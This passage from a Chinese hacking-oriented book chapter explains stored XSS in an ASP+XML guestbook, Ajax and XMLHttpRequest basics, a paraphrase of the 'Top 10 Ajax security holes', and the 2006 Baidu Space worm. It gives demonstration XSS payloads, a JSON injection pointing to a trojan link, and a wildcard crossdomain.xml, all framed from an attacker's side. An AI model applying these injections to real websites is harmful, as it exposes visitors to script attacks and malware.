在用 XML 作为后台数据库时,首先需要创建一个 Microsoft.XMLDOM 对象。之后再利用这个对象加载我们的后台数据库 XML 文件,并利用 createElement 方法来完成对 XML数据库的操作。

因为 XML 数据库比较轻便,所以现在越来越多的小型系统都采用它来作为后台数据库,比较常见的架构有 ASP+XML、PHP+XML 等等。虽然这样的架构效率上是提高了,不过其安全性确不容忽视。

我们知道,XML 文件我们是直接可以用浏览器打开的。所以如果后台采用 XML 数据库的话,我们只需要 XML 路径,那么就会把 XML 数据库中的所有内容都给得到了,如图 15-5 所示就是我打开的一个网站的 XML 数据库内容。所以对于 XML 数据库的网站,首先就应该利用 XML 加密把数据库本身给加密了,这样就算被别人看到了,也都是经过了加密的内容了。

image

图 15-5 得到的 XML 数据库内容

而对于基于 XML 后台数据库的系统代码的安全,同样也是存在很大的威胁。我们知道所有的输入都是可能具有危害性的,所以对于 XML 数据库的系统也是一样,对所有输入的参数也同样要过滤,如果没有过滤就会发生安全问题。

下面我就用国内的一个 ASP+XML 的留言版系统来具体说明其危害性吧。首先来看看客户端提交留言的界面,从中我们可以得到变量的名称,如图 15-6 所示。

image

图 15-6 留言界面

我们再来看看服务端是如何获取我们输入的数据的,代码如下所示: username = Request.Form("username") //获得我们输入的用户名 if username <> "" then //如果用户名不为空,则进行下一步操作

fromwhere = Request.ServerVariables("REMOTE_HOST") //获得我们的 IP 地址 homepage = Request.Form("homepage") //获得我们输入的主页

email = Request.Form("email") //获得我们输入的电子邮件 text =Request.Form("text") //获得我们输入的内容

text = Replace(text,"<","&lt;") //把留言的内容中的<给转换掉 text = Replace(text,">","&gt;") //把留言的内容中的>给转换掉 Posttime =now() //获得当前的时间

这就是对我们输入的数据是这样被获取到服务器中的,那么接下来看这些数据又是如何处理的呢?代码如下所示:

strSourceFile = Server.MapPath("List.xml") //获得数据库的地址

Set objXML = Server.CreateObject("Microsoft.XMLDOM") //创建 XMLDOM 组件对象 objXML.load(strSourceFile) //加载数据库文件

If objXML.parseError.ErrorCode <> 0 Then

//如果发生错误不等于 0,就把下面的 XML 声明代码加上去

objXML.loadXML "<?xml version=""1.0"" encoding=""gb2312"" ?><xml><GuestBook></GuestBook></xml>"

End If

Set objRootlist = objXML.documentElement.selectSingleNode("GuestBook")

//遍历GuestBook 的名称项,即得到输入数据的名称 If objRootlist.hasChildNodes then

id = objRootlist.lastChild.firstChild.text + 1 Else

id=1 End If

Set oListNode = objXML.documentElement.selectSingleNode("GuestBook").AppendChild(objXML.createE lement("item"))

Set oDetailsNode = oListNode.appendChild(objXML.createElement("id")) oDetailsNode.Text = id

//创建我们id 数

Set oDetailsNode = oListNode.appendChild(objXML.createElement("username")) oDetailsNode.Text = username

//创建我们输入的用户名

Set oDetailsNode = oListNode.appendChild(objXML.createElement("fromwhere")) oDetailsNode.Text = fromwhere

//创建我们的 IP 地址

Set oDetailsNode = oListNode.appendChild(objXML.createElement("Posttime")) oDetailsNode.Text = Posttime

//创建我们留言的时间

Set oDetailsNode = oListNode.appendChild(objXML.createElement("homepage")) oDetailsNode.Text = homepage

//创建我们的主页

Set oDetailsNode = oListNode.appendChild(objXML.createElement("email")) oDetailsNode.Text = email

//创建我们输入的电子邮件地址

Set oDetailsNode = oListNode.appendChild(objXML.createElement("text")) oDetailsNode.Text =oydj.ubbCode(text)

//创建我们输入的正文

objXML.save(strSourceFile) //将上面获得的数据在创建到 XML 数据库中之后,保存起来 Set objXML=nothing //释放资源

response.write "谢谢您的留言"&text Response.Redirect "index.asp" //重定向到首页 response.end

End if

%>

在来整理一下思路,实现系统通过 ASP 代码获得我们输入的留言,并且正文过滤了标记<和>。接着,连接后台的 XML 数据库。之后遍历我们输入的数据,并将其创建进了 XML数据库中,最后保存起来。

我们可以看到,我们输入的数据除了正文进行过滤了,其他地方都没有过滤就创建保存到了后台的 XML 数据库中。这难道不是一个漏洞吗?我们直接在其中输入跨站代码,如图 15-7 和 15-8 所示,发生了跨站了。我们在来看看我们输入的跨站代码是如何被保存在 XML

数据库中的,如图 15-9 所示。

image

图 15-7 输入跨站代码

image

图 15-8 发生跨站

image

图 15-9 跨站代码在数据库出现的形式

对于 XML 数据库也一样,如果是客户端中输入的数据没有过滤的话,同样会发生安全问题。更不要以为 XML 是文本数据库就不会发生什么问题,就算不会发生什么问题,并不代表其他地方不发生。例如跨站漏洞,它存在于 XML 数据库的文本中,可到了客户端就被执行了。所以不要认为抛开了以前的传统数据库,换了一种新的数据存储方式,以前的脚本安全技术就不适用了。

目前,对于 XML 下的黑客技术还是非常少。不过随着 Web 2.0 的到来,XML 将频繁的被使用于个中 web 开发当中。相信 XML 普及之后,其更多的不完善地方也将被逐渐显现出来。希望各位黑友能更多去研究其缺陷,那么在脚本黑客中又将有一片新的天地了。

    1. Ajax下的黑客技术

      Ajax 是 Web2.0 的标志性技术,它的出现使得基于 B/S 模式的通信模式又焕发了新的活力。那么,什么是 Ajax 呢?Ajax 全称为“Asynchronous JavaScript and XML”(异步

      JavaScript 和 XML),是指一种创建交互式网页应用的网页开发技术。Ajax 由 HTML、 JavaScript 技术、DHTML 和 DOM 组成。Ajax 以一种崭新的方式来使用所有的这些技术,这些方法可以将笨拙的 Web 界面转化成交互性的 Ajax 应用程序。但是有一点大家要知道,Ajax并不是一门新技术,而是多种老技术的新应用。

      前面已经几次提到了 Web 2.0,那么它究竟是什么呢?可能还有人会想到 Web 1.0 又是什么?下面就简单解释一下这个名词。对于 Web 1.0 实际上它指的就是具有完全不同的请求和响应模型的传统 Web。比如,到 Google.com 网站上搜索东西,当我们单击“google 搜索”按钮时。它就会向服务器发送一个请求,然后响应再返回到浏览器。该请求不仅仅是我们所要搜索的结果,而是另一个完整的 HTML 页面。因此当 Web 浏览器用新的 HTML 页面重绘时,可能会看到闪烁或抖动。事实上,通过看到的每个新页面可以清晰地看到请求和响应。

      Web 2.0(在很大程度上)消除了这种看得见的往复交互。比如访问 Google 地图或者 MySpace.com 等这些典型的 Web 2.0 的网站。我们在使用 Google 地图时,可以拖动地图,放大和缩小,只有很少的重绘操作。当然这里仍然有请求和响应,只不过都藏到了幕后。作为我们用户,体验更加舒适,感觉很像桌面应用程序。这种新的感受和范型就是当有人提到 Web 2.0 时您所体会到的。

      本节将先为大家介绍 Ajax 这项 Web2.0 下的核心技术,有了基础之后再来详细谈一谈其下的安全问题。目前 Ajax 下的安全问题也是非常的多,利用这些缺点我们可以做很多事情。

      1. Ajax技术基础

        这一节为大家介绍 Ajax 的一些基础知识,这将对于大家了解 Ajax 的黑客技术有非常大的帮助。下面是 Ajax 应用程序所用到的基本技术:

        ●HTML 用于建立 Web 表单并确定应用程序其他部分使用的字段。

        ●JavaScript 代码是运行 Ajax 应用程序的核心代码,帮助改进与服务器应用程序的通信。

        ●DHTML 或 Dynamic HTML,用于动态更新表单。我们将使用 div、span 和其他动态 HTML 元素来标记 HTML。

        ●文档对象模型 DOM 用于(通过 JavaScript 代码)处理 HTML 结构和(某些情况下)服务器返回的 XML。

        Ajax 技术之中,最核心的技术就是 XMLHttpRequest,它最初的名称叫做 XMLHTTP,是微软公司为了满足开发者的需要,1999 年在 IE5.0 浏览器中率先推出的。后来这个技术被上述的规范命名为 XMLHttpRequest。它正是 Ajax 技术之所以与众不同的地方。简而言之, XMLHttpRequest 为运行于浏览器中的JavaScript 脚本提供了一种在页面之内与服务器通信的手段。页面内的 JavaScript 可以在不刷新页面的情况下从服务器获取数据,或者向服务器提交数据。

        在一般的 Web 应用程序中,我们填写表单字段后并单击 Submit 按钮。然后整个表单发送到服务器,服务器将它转发给处理表单的脚本(通常是 PHP、ASP、JSP 等服务端脚本语言),脚本执行完成后再发送回全新的页面。该页面可能是带有已经填充某些数据的新表单的

        HTML,也可能是确认页面,或者是具有根据原来表单中输入数据选择的某些选项的页面。当然,在服务器上的脚本或程序处理和返回新表单时用户必须等待。屏幕变成一片空白,等到服务器返回数据后再重新绘制。这就是交互性差的原因,用户得不到立即反馈。

        而在Ajax 基本上就是把JavaScript 技术和XMLHttpRequest 对象放在Web 表单和服务器之间。当我们填写表单时,数据发送给的是 JavaScript 代码而不是直接发送给服务器。相反,JavaScript 代码捕获表单数据后就向服务器发送请求。同时我们的浏览器屏幕上的表单也不会闪烁、消失或延迟。换句话说,JavaScript 代码在幕后发送请求,我们甚至不知道请求的发出。更好的是,请求是异步发送的,就是说 JavaScript 代码(和用户)不用等待服务器的响应。因此我们可以继续输入数据、滚动屏幕和使用应用程序等等。

        对于 Web 2.0 来说,大部分技术都是旧的。最多的就是引用了 XMLHttpRequest 对象,所以接下来就详细介绍这个对象。至于其实的技术,如 HTML、JavaScript、XML 在前面已经介绍了,大家知道怎么用他们就可以了。

        XMLHttpRequest 对象是当今所有 AJAX 和Web 2.0 应用程序的技术基础。AJAX 利用一个构建到所有现代浏览器内部的对象 XMLHttpRequest 来实现发送和接收 HTTP 请求与响应信息。一个经由 XMLHttpRequest 对象发送的 HTTP 请求并不要求页面中拥有或回寄一个表单

        (<form>)元素。

        AJAX 中的"A"代表了“异步”,这意味着 XMLHttpRequest 对象的 send()方法可以立即返回,从而让 Web 页面上的其它 HTML/JavaScript 继续其浏览器端处理而由服务器处理 HTTP请求并发送响应。尽管缺省情况下请求是异步进行的,但是,你可以选择发送同步请求,这将会暂停其它 Web 页面的处理,直到该页面接收到服务器的响应为止。

        XMLHttpRequest 是如此的重要,所以本节就来详细介绍一下这个对象,要使用一个对象,首先就得建立这个对象,利用 JavaScript 即可完成:

        <script language="javascript" type="text/javascript"> var xmlHttp = new XMLHttpRequest();

        </script>

        不过这种声明方法只适合于 IE7 和火狐浏览器,对于 IE6 及以前的版本中,最简单的声明方法是:

        var XmlHttp = ActiveXObject("Microsoft.XMLhttp");

        有了这个对象之后,我们就可以使用这个对象的属性、事件及方法了,XMLHttpRequest对象的各种属性、方法和事件非常方便的进行脚本处理和控制 HTTP 请求与响应。下面就来详细为大家介绍这些方法。

        1、XMLHttpRequest 对象的属性和事件

  • readyState 属性

    当 XMLHttpRequest 对象把一个 HTTP 请求发送到服务器时,将会经历几种状态,如一直等待直到请求被处理;然后,它才接收一个响应。这样一来,脚本才正确响应各种状态的 XMLHttpRequest 对象,而描述当前状态的的属性就是 readyState,它一共有五种状态,如表 15-1 所示。

    image

    表 15-1 XMLHttpRequest 对象的 ReadyState 属性值列表

  • responseText 属性

    这个 responseText 属性的作用是包含客户端接收到的 HTTP 响应的文本内容。当 readyState 值为 0、1 或 2 时,responseText 包含一个空字符串。当 readyState 值为 3(正在接收)时,响应中包含客户端还未完成的响应信息。当 readyState 为 4(已加载)时,该 responseText 包含完整的响应信息。

  • responseXML 属 性 responseXML 属 性 是 用 于 当 接 收 到 完 整 的 HTTP 响 应 时 (readyState 为 4) 描 述 XML 响 应 ;

    此时,Content-Type 头部指定 MIME(媒体)类型为 text/xml,application/xml 或以+xml 结尾。如果 Content-Type 头部并不包含这些媒体类型之一,那么 responseXML 的值为 null。无论何时,只要 readyState 值不为 4,那么该 responseXML 的值也为 null。其实,这个 responseXML 属性值是一个文档接口类型的对象,用来描述被分析的文档。如果文档不能被分析(例如,如果文档不是良构的或不支持文档相应的字符编码),那么 responseXML 的值将为 null。

  • status 属性

    status 属性是用来描述 HTTP 状态代码的,而且其类型为 short。而且,仅当 readyState值为 3(正在接收中)或 4(已加载)时,这个 status 属性才可用。当 readyState 的值小于 3时试图存取 status 的值将引发一个异常。

  • statusText 属性

    这个 statusText 属性描述了 HTTP 状态代码文本;并且仅当 readyState 值为 3 或 4 才可用。当 readyState 为其它值时试图存取 statusText 属性将引发一个异常。

    2、XMLHttpRequest 对象的方法 XMLHttpRequest 对象提供了各种方法用于初始化和处理 HTTP 请求,下列来逐个介绍:

  • abort()方法

    可以使用这个 abort()方法来暂停与一个 XMLHttpRequest 对象相联系的 HTTP 请求,从而把该对象复位到未初始化状态。

  • open()方法

    你需要调用 open(DOMString method,DOMString uri,boolean async,DOMString username,DOMString password)方法初始化一个 XMLHttpRequest 对象。

    其中,method 参数是必须提供的-用于指定你想用来发送请求的 HTTP 方法(GET,POST,

    PUT,DELETE 或 HEAD)。为了把数据发送到服务器,应该使用 POST 方法;为了从服务器端检索数据,应该使用 GET 方法。

    另外,uri 参数用于指定 XMLHttpRequest 对象把请求发送到的服务器相应的 URI。借助于 window.document.baseURI 属性,该 uri 被解析为一个绝对的 URI-换句话说,你可以使用相对的 URI-它将使用与浏览器解析相对的 URI 一样的方式被解析。

    async 参数指定是否请求是异步的-缺省值为 true。为了发送一个同步请求,需要把这个参数设置为 false。对于要求认证的服务器,你可以提供可选的用户名和口令参数。

    在调用 open()方法后,XMLHttpRequest 对象把它的 readyState 属性设置为 1(打开)并且把 responseText、responseXML、status 和 statusText 属性复位到它们的初始值。另外,它还复位请求头部。注意,如果你调用 open()方法并且此时 readyState 为 4,则

    XMLHttpRequest 对 象 将 复 位 这 些 值 。 例 如

    XmlHttp.Open("POST","http://www.google.com",ture);。

  • send()方法

  • 在通过调用 open()方法准备好一个请求之后,你需要把该请求发送到服务器,使用

    send()方法即可完成这个请求。

    仅当 readyState 值为 1 时,你才可以调用 send()方法;否则的话,XMLHttpRequest 对象将引发一个异常。该请求被使用提供给 open()方法的参数发送到服务器。

    当 async 参数为 true 时,send()方法立即返回,从而允许其它客户端脚本处理继续。在调用 send()方法后,XMLHttpRequest 对象把 readyState 的值设置为 2(发送)。当服务器响应时,在接收消息体之前, 如果存在任何消息体的话, XMLHttpRequest 对象将把

    readyState 设置为 3(正在接收中)。当请求完成加载时,它把 readyState 设置为 4(已加载)。对于一个 HEAD 类型的请求,它将在把 readyState 值设置为 3 后再立即把它设置为 4。

    send()方法使用一个可选的参数,这个参数可以包含可变类型的数据。简单地说,你使用它并通过 POST 方法把数据发送到服务器。另外,你可以显式地使用 null 参数调用 send()方法,这与不用参数调用它一样。对于大多数其它的数据类型,在调用 send()方法之前,应该使用 setRequestHeader()方法(见后面的解释)先设置 Content-Type 头部。如果在 send(data)方法中的 data 参数的类型为 DOMString,那么,数据将被编码为 UTF-8。如果数据是 Document 类型,那么将使用由 data.xmlEncoding 指定的编码串行化该数据。

    ●setRequestHeader()方法

    setRequestHeader(DOMString header,DOMString value)方法可以用来设置请求的头部信息。当 readyState 值为 1 时,你可以在调用 open()方法后调用这个方法;否则,你将得到一个异常。

    ●getResponseHeader()方法

    getResponseHeader(DOMString header,value)方法用于检索响应的头部值。仅当

    readyState 值是 3 或 4(换句话说,在响应头部可用以后)时,才可以调用这个方法;否则,该方法返回一个空字符串。

    ●getAllResponseHeaders()方法

    getAllResponseHeaders()方法以一个字符串形式返回所有的响应头部(每一个头部占单独的一行)。如果 readyState 的值不是 3 或 4,则该方法返回 null。

    3、DOM 简介

    在 Ajax 中,DOM 对象 也是非常重要的一项。比如我们 Ajax 在把数据发往服务器之前,要获得 HTML 标记即页面中指定的标签和标签中的值。那么实现这个功能则使用 DOM 的几个对象就可以完成了。

    DOM 是文档对象化模型(Document Object Model)的简称。文档对象模型是能够以编程的方式访问和操作 Web 页面(也称作文档)内容的接口,它提供了文档中独立元素的结构化、面向对象的表示方法,并允许通过对象的属性和方法访问这些对象。另外,文档对象模型还提供了添加和删除文档对象的方法,这样就能够创建动态的文档内容。DOM 也提供了处理事件的接口,它允许捕获和响应用户以及浏览器的动作。

    利用文档对象模型,使用 JavaScript 操作页面内容的过程通常我们称为动态 HTML,即

    DHTML 或 Dynamic HTML。文档对象模型不是 JavaScript 的一部分,而是一个独立于编程语言和操作平台的编程接口。

    对于 DOM,在这里我们只介绍它是如何获取页面中指定的标签和标签中的值的知识。文档对象模型提供了一组按树形结构组织的对象,每一个对象都有一个或多个属性与方法。随着动态 HTML 的出现,使用文档对象模型我们能够控制页面中的每一个元素。具体的使用就是使用文档对象模型访问 document 对象。

    在Ajax 中正是通过document 对象的各种属性和方法来获得页面中指定的标签和标签中的值。要在运行于 Web 页面上的任何 JavaScript 代码中使用内置 document 变量,可以编写如下代码:

    var domTree = document;

    当然,该代码本身没什么用,但它演示了每个 Web 浏览器使得 document 对象可用于

    JavaScript 代码。下面就介绍一些在 Ajax 中运用 document 对象的获取标签和标签中的值的方法:

    document.getElementById:获取指定id 的 html 标签的相关信息

    document.getElementsByName:获得指定 name 的html 标签相关信息

    document.getElementsByTagName:获得指定的 html 标签相关信息

    document.all[n]:来访问第 N 个tag(整个 html 文档的序号从 0 开始),若 tag 有 id 或name属性,则可以使用 document.all['id']或document.all['name']来访问,或者 document.all.item("docid")和 document.all.item("docname")来访问。

    document.all[n].tagName:获取第 n 个 tag 的tagname

    document.all.tags("div"):返回文档中所有 DIV 数组,如果只有一个 DIV,所以用

    document.all.tags("div")[0]就可以访问了

    我们可以在 HTML 页面中插入的 JavaScript 函数有: insertAdjacentHTML 、 innerHTML(outerHTML) ,它们用 于插入 HTML 代码,例如 <button type="submit"

    onclick="this.innetHTML='<h2>haha</h2>'">innetHTML</button> 。 还 可 以 使 用 insertAdjacentText、innerTEXT(outerTEXT)在 HTML 页面中插入文本。

    下面我们是一个最简单的发送请求的代码,如下所示:

    <script language="javascript" type="text/javascript"> var request = false; //设置 request 为false

    try { //异常处理

    request = new XMLHttpRequest(); //建立一个 XMLHttpRequest 对象

    } catch (trymicrosoft) { //判断是否为 IE 浏览器版本 try {

    request = new ActiveXObject("Msxml2.XMLHTTP");

    //建立IE 浏览器的 XMLHTTP 对象

    } catch (othermicrosoft) { //如果不是 IE 浏览器 try { //使用Microsoft.XMLHTTP 建立对象

    request = new ActiveXObject("Microsoft.XMLHTTP");

    } catch (failed) { //否则失败 request = false;

    }

    }

    }

    if (!request)

    alert("Error initializing XMLHttpRequest!");

    //如果失败,弹出对话框显示 Error initializing XMLHttpRequest! function getCustomerInfo() { //处理发送数据的函数

    var phone = document.getElementById("phone").value;

    //利用 DOM 对象获取 ID 为 phone 的值

    var url = "/cgi-local/lookupCustomer.php?phone=" + escape(phone);

    //建立需要提交的 URL,同时对 phone 变量的值编码 request.open("GET", url, true); //发送数据 request.send(null);

    }

    </script>

    上面的代码首先通过判断浏览器的类型,然后用相应的方法建立 XMLHttpRequest 对象。如果建立成功,则通过获取 ID 为 phone 的值,然后定义 url 变量及对 ID 值进行编码后,利用 XMLHttpRequest 对象的 open()和 send()方法把 ID 的值发送出去。也正是上面的那一小段代码,我们可以将其改为一个蠕虫病毒。

    上面就是简单介绍了下 Ajax 下的核心技术,即 XMLHttpRequest 对象。加上以前的

    HTML、JavaScript 的基础知识,相信大家已经对 Ajax 有了一定的认识了。下一节中将主要为大家介绍 Ajax 下的黑客技术及安全问题。

        1. Ajax的黑客技术

          Ajax 虽然功能非常的强大,但是什么东西都是有利有弊的。在众多黑客的研究下,Ajax也出现了很多弱点,典型的有诸如 SQL 资料隐码(SQL injections)、跨站脚本(cross-site scripting)和服务拒绝攻击(Denial of Service)等等。

          在 2006 年 6 月 12 日第一次出现了大型的利用 Ajax 攻击例子,目标是 Yahoo!的 Email服务。黑客利用 JavaScript 编写出一个蠕虫病毒,该蠕虫病毒名为 Yamanner。它利用 Yahoo!

          Mail 服务的一个弱点以用户的联系人列表向外发出自己的拷贝。这个蠕虫甚至不需要你打开附件,只要一浏览邮件立即会中招。

          而国内则是在 2006 年 7 月份出现了 Ajax 蠕虫病毒,攻击的目标是百度的开通的百度空间。该蠕虫病毒利用对提交的自定义 CSS 中插入 JavaScript 代码。从而发生了跨站攻击,同时还把自己加入到友情链接中。

          我们也知道 Ajax 其实算是 JavaScript 的一部分,所以如果没有对其进行有效的过滤同样会发生跨站漏洞,而且前面所介绍的方法依然在 Ajax 中可以使用,我们甚至还可以变出更多的跨站代码来。

          1、 Ajax 的十大安全漏洞

          在 2006 年 11 月由 Shreeraj Shah 写的《Top 10 Ajax Security Holes and Driving Factors》出现在了世界著名安全网站 net-security 中,该文章详细阐述了 Ajax 下的十大安全漏洞,内容总结的很全面,确是一篇经典之作。下面就引用他这篇文章来向大家介绍

          Ajax 下 的 安 全 漏 洞 , 该 文 章 的 原 文 在 http://www.net-security.org/article.php?id=956&p=1。在介绍十大漏洞之前来看看

          WEB2.0 漏洞形成的关键因素。

          认证混乱——输入和输出内容认证是应用的重要因素之一。Web2.0 应用使用桥,mashups,还有反馈等等。很多情况下,它假定“另一方”(读取服务器端或者客户端代码)已经实现了认证,这种混乱就导致了双方都没有实现适当的认证控制。

          不受信任的信息来源——Web2.0 应用从很多不受信任的来源比如反馈,博客,搜索结果中获得信息。这些内容在提供给终端浏览器之前从来没有被过滤或者转换,这就有可能引发跨站点攻击。黑客还有可能在浏览器中加载 JavaScript,以便迫使浏览器发出跨域的调用并打开安全漏洞。那样的话,这些致命的漏洞就能被病毒和蠕虫利用。这个漏洞简单的来说就是没有对我们输入的内容进行检查,导致我们往网站中提交恶意代码,使得漏洞出现。

          多重分散的终端点以及隐藏调用——WEB2.0 应用与WEB1.0 的主要区别就是信息访问机制的区别。比起它的前身 WEB1.0, WEB2.0 应用有数个 AJAX 终点。潜在的 AJAX 调用分散于整个浏览器页面,并且能够被各个事件分别调用。开发者恨难应付 AJAX 调用的这种分散性,并且由于这些调用是隐藏的,不那么明显,它还可能导致代码不规范。

          动态脚本构成和执行——AJAX 会建立一个后端通道,从服务器获取数据,然后将它传送给

          DOM。实现这一点的必要条件就是动态地执行 JAVASCRIPTS,以便随时更新 DOM 或者浏览器页面缓存的状态。AJAX 通过调用定制的功能或者 EVAL()功能。未经认证的内容或者使用不安全的调用,轻则导致会话内容泄露,重则迫使浏览器执行恶意内容等各种后果。

          基于 Ajax 的程序的漏洞出现的原因就是上面的一种或者多种。如果程序员在开发程序的时候没有注意到上的四个问题的话,那么就会出现安全漏洞,那么我们就有机可乘了。下面的十个安全漏洞就是对上面四个漏洞成因的最好的例子。

          (1)、畸形的 JS 对象序列

          通过前面的学习,我们都已经知道 JavaScript 是支持面向对象编程(OOP)技术。它有很多不同的内置对象,也允许用户自己创建对象。使用者可以用 NEW OBJECT() 或者自己编辑如下代码来创建新的对象。假设我们编写如下的代码:

          message = {

          From : "zengyunhao", To : "zengyunhao",

          Subject : "<script>alert("cmd")</script>", BODY : "XSS",

          Showsubject : Function(){document.write(this.Subject)}

          };

          这是一个简单的消息对象,其中有 2 个字段需要发送人和接收人。我们可以使用 Ajax来将该对象序列化并用 JavaScript 代码编译。我们可以将这段程序赋值到变量或者函数

          eval()中。在这里,我们在主题中写入的是一段跨站代码,那么接收人打开收件时将可能产生跨站攻击,典型的就是前面我们在分析论坛时所提供的那个发送邮件功能。JS 对象既包含数据也包含方法。对 JS 对象序列的不当使用将产生可以被诡计多端的注入代码利用的安全漏洞。

          (2)、JSON 注入

          JavaScript 对象符号(JSON)是一个简单而有效的少量数据交换格式,它包含对象,数组,Hash 表,向量以及列表数据结构。JavaScript, Python, C, C++, C# 和 Perl 等语言都支持 JSON。JSON 序列在 WEB2.0 应用中是个非常有效的交换机制。开发者频繁使用 AJAX 和

          JSON,获取并传送必要的信息给 DOM。下面是个简单的带有不同的 NAME 值对的 JSON 对象: “BOOKMARKS”对象。

          {"BOOKMARKS":[{"http://www.muma.com/muma.html":"EXAMPLE.COM","<script>alert(“c md”)</script>":"INTERESTING LINK"}]}

          这样我们就可以在 LINK 或者 DESC 中注入恶意脚本。例如在上面代码中,我填入了我的木马地址,同时还加入了跨站代码。如果 DOM 和可执行程序被注入了,XSS 目录也会被注入。这样浏览了这个页面的用户就会中木马同时发生跨站。

          (3) 、JS 数组中毒

          JS 数组是另一个比较普遍的序列化对象。程序员可以很容易地跨平台移植它,并且它在使用不同语言的结构中也很有效。感染一个 JS 数组可以扰乱整个 DOM 环境。这样我们就可以在浏览器中使用简单的跨站点脚本攻击 JS 数组。下面是一个 JS 数组的例子:

          NEW ARRAY("blog", "link", "username", "password", "code", "computer")

          这个数组是我在一个博客上看到的,如果这个数组对象在服务器端没有被仔细处理,那么我们就可以在最后字段中注入脚本。例如把它改成“NEW ARRAY("blog", "link", "username", "password", "code","<script>alert("cmd")</script>") ” 就会发生跨站攻击。这种注入将危及浏览器安全并被攻击者利用。

          (4)、修改 XML 中的数据流

          Ajax 调用接受来自多个地址的 XML。这些 XML 块来自运行在 SOAP,REST 或者 XML-RPC的网络服务。这些网络服务是由从第三方的代理桥那里接收过来的。如果这些第三方 XML数据流被攻击者修改过,那么攻击者就可能向其中注入恶意内容。

          浏览器从它自带的 XML 解析器接收该数据流。该解析器容易受不同的 XML 炸弹的攻击。我们也可以在该数据流中注入脚本,这样就可以导致跨站点脚本攻击(XSS)。浏览器接收未经认证的 XML 数据流的话,这就会危及终端客户端的安全。

          (5)、DOM 中脚本注入

          前四个漏洞都是由于序列化问题引起的。一旦浏览器收到序列化的对象数据流,开发者会发出某种调用来访问 DOM。这种调用的目的是将新内容“重写”或者“重填”入 DOM 中,可以调用 Eval()这个定制功能,也可以使用 document.write。如果这些调用是在不受信任信息流上进行的,浏览器就有可能由于 DOM 的操作漏洞而受攻击。攻击者可以用很多 DOCUMENT.*()调用来向 DOM 环境中注入 XSS。

          例如,这段 JavaScript 代码:DOCUMENT.WRITE(PRODUCT-REVIEW)。

          在这里,“PRODUCT-REVIEW”是从第三方网站上获得的变量。如果它含有 Javascript 会怎样?答案很明显。这个 JavaScript 就会被浏览器运行,那么我们又可以进行攻击了。

          (6)、跨域访问和回调

          Ajax 不能从浏览器中进行跨域访问。所有比较流行的浏览器都有个安全特性,那就是拦截跨域访问。一些网站服务为对象序列提供回调功能。程序员可以使用这个功能来把网站服务整合到浏览器本身。人们可以把该功能命名为传回,这样浏览器一找到回调对象数据流,它就会被浏览器中早已有的特殊功能名执行。

          这个回调对使用浏览器内认证的开发者来说是个额外负担。如果输入的对象数据流未经浏览器认证那么终端客户端就会成为跨域攻击的目标。不管是有意还是无意的,跨域服务可以向浏览器中注入恶意内容。该跨域调用在当前 DOM 环境中运行,于是导致当前对话也易受攻击。在实现应用之前,人们需要仔细检查整个跨域功能。

          (7)、RSS 和 ATOM 注入

          联合反馈,RSS 以及ATOM,是最普遍的一种将站点更新信息传到网络上的方法。许多新闻,博客,门户站点等等,都在网络上共享多个反馈。反馈是标准的 XML 文档,并且可以被任何程

          序接收。WEB2.0 应用使用窗口小部件或者浏览器内部元件整合了联合反馈。这些组件调用

          AJAX 来访问反馈。

          这些反馈可以被终端用户方便地选择。一旦用户选择了它们,这些反馈就会被解析并注入到 DOM 中。那么如果这个反馈在注入之前没有被适当地认证过,就会出现一些安全问题。人们可以往浏览器中注入恶意链接或者 JAVASCRIPT 代码。注入之后,就大事不妙了,最终结果是 XSS 和对话被黑客拦截。

          (8)、单击炸弹

          Ajax 的应用要简单的被攻破也不是那么容易,但我们可以对它进行基于事件的注入。我们可以将带有"onClick"字样的恶意链接用 JavaScript 注入。这样,浏览器就带着个随时等待终端用户右键点击来触发的炸弹。一旦用户点击了链接或按钮,能够启动炸弹的那个事件被启动了,那么攻击就成功了。此类攻击会导致对话被恶意代码拦截。

          这也是由于人们从那些没有经过正确验证的不受信任源处获得的信息,所导致的安全漏洞。为了利用该安全漏洞,它需要终端客户端触发一个事件。这个事件也许是诸如点击按钮或者链接的这种无害事件,但是点击后就使会用户损失惨重。它可能引起某个恶意事件,将当前对话信息发送给目标,又或者在当前浏览器环境中执行一系列脚本攻击。

          (9)、基于 FLASH 的跨域访问

          我们可以使用Flash 插件的Ajax 接口,从而用浏览器中的JavaScript 发出GET 和POST请求。这个接口使我们能进行跨域调用。为了避免安全问题,该 Flash 插件实现了根据策略访问其他域的功能。该策略可以通过在域的根部放置 CROSSDOMAIN.XML 文件来配置。如果放置的文件配置不当——很普遍的现象——它就可能允许跨域访问。下面是一个配置不当的

          XML 文档:

          <cross-domain-policy>

          <allow-acces-from domain="*"/>

          </cross-domain-policy>

          我们可以看到 domain="*",这个 XML 文件没有配置好,所以现在可以从浏览器自身发出跨域调用了。这个结构还有一些其他安全问题。基于 FLASH 的丰富网络应用(RIA)如果配置错误的话,很容易由于 Ajax 的跨域访问 Bug 而被攻击。

          (10)、XSRF

          跨域伪造请求(XSRF)是个老牌的攻击向量了,它迫使浏览器向不同的域发出 HTTP GET或者 POST 请求;这些请求可以跨域在运行的应用逻辑中启动某种事件。它可能请求修改密码或者电子邮件地址等。浏览器调用它后,它重放 Cookie 并获得身份认证。这就是该请求的关键部分。如果某个应用只根据 Cookie 来判识身份,那么该攻击就会成功。

          WEB2.0 中 AJAX 是就 XML-RPC,SOAP 或者 REST 与后端网络服务进行对话的,通过 GET和 POST 可以进行这些调用。换句话说,人们可以对这些网络服务进行跨站点调用,从而危及受害者与网络服务接口的身份信息。XSRF 这个攻击向量很有趣,它在这个新界定的端点情况中创造了新的层次。这些终点可能是为 Ajax 或者网络服务而准备的,但它们也有可能被跨域请求所激活。

          结论

          Web 2.0 应用有多个终端点,每个点都是威胁的侵入点。为了保证安全,应当保护好

          所有这些点。在将第三方信息发送给客户端之前要对其进行彻底处理。

          为了处理Ajax 序列,必须在它们到达 DOM 之前对输入数据流进行验证。XML 解析以及跨域安全问题也需要额外重视,并实施更好的安全管理措施。我们应当遵循那个最简单最笨拙的原则:不让未经认证的跨域信息进入浏览器。不过这个认证一定是要在服务端进行验证,如果是客户端验证的话,我们可以轻易的绕过它继续攻击。

          2、百度空间的 Ajax 蠕虫病毒分析

          在 2006 年 7 月份的时候百度开通了百度空间,这个空间采用了 Web 2.0 中的关键技术

          Ajax。因为百度的开发人员在开发时未对输入的变量有较好的过滤,特别是在用户提交的

          CSS 中的数据为检测,导致可以往里面插入 JavaScript 代码。最终,出现了利用该漏洞的蠕虫病毒。导致浏览了被插入该蠕虫病毒的页面后,就会发生跨站攻击,同时将该页面加入到自己的空间的友情链接中。

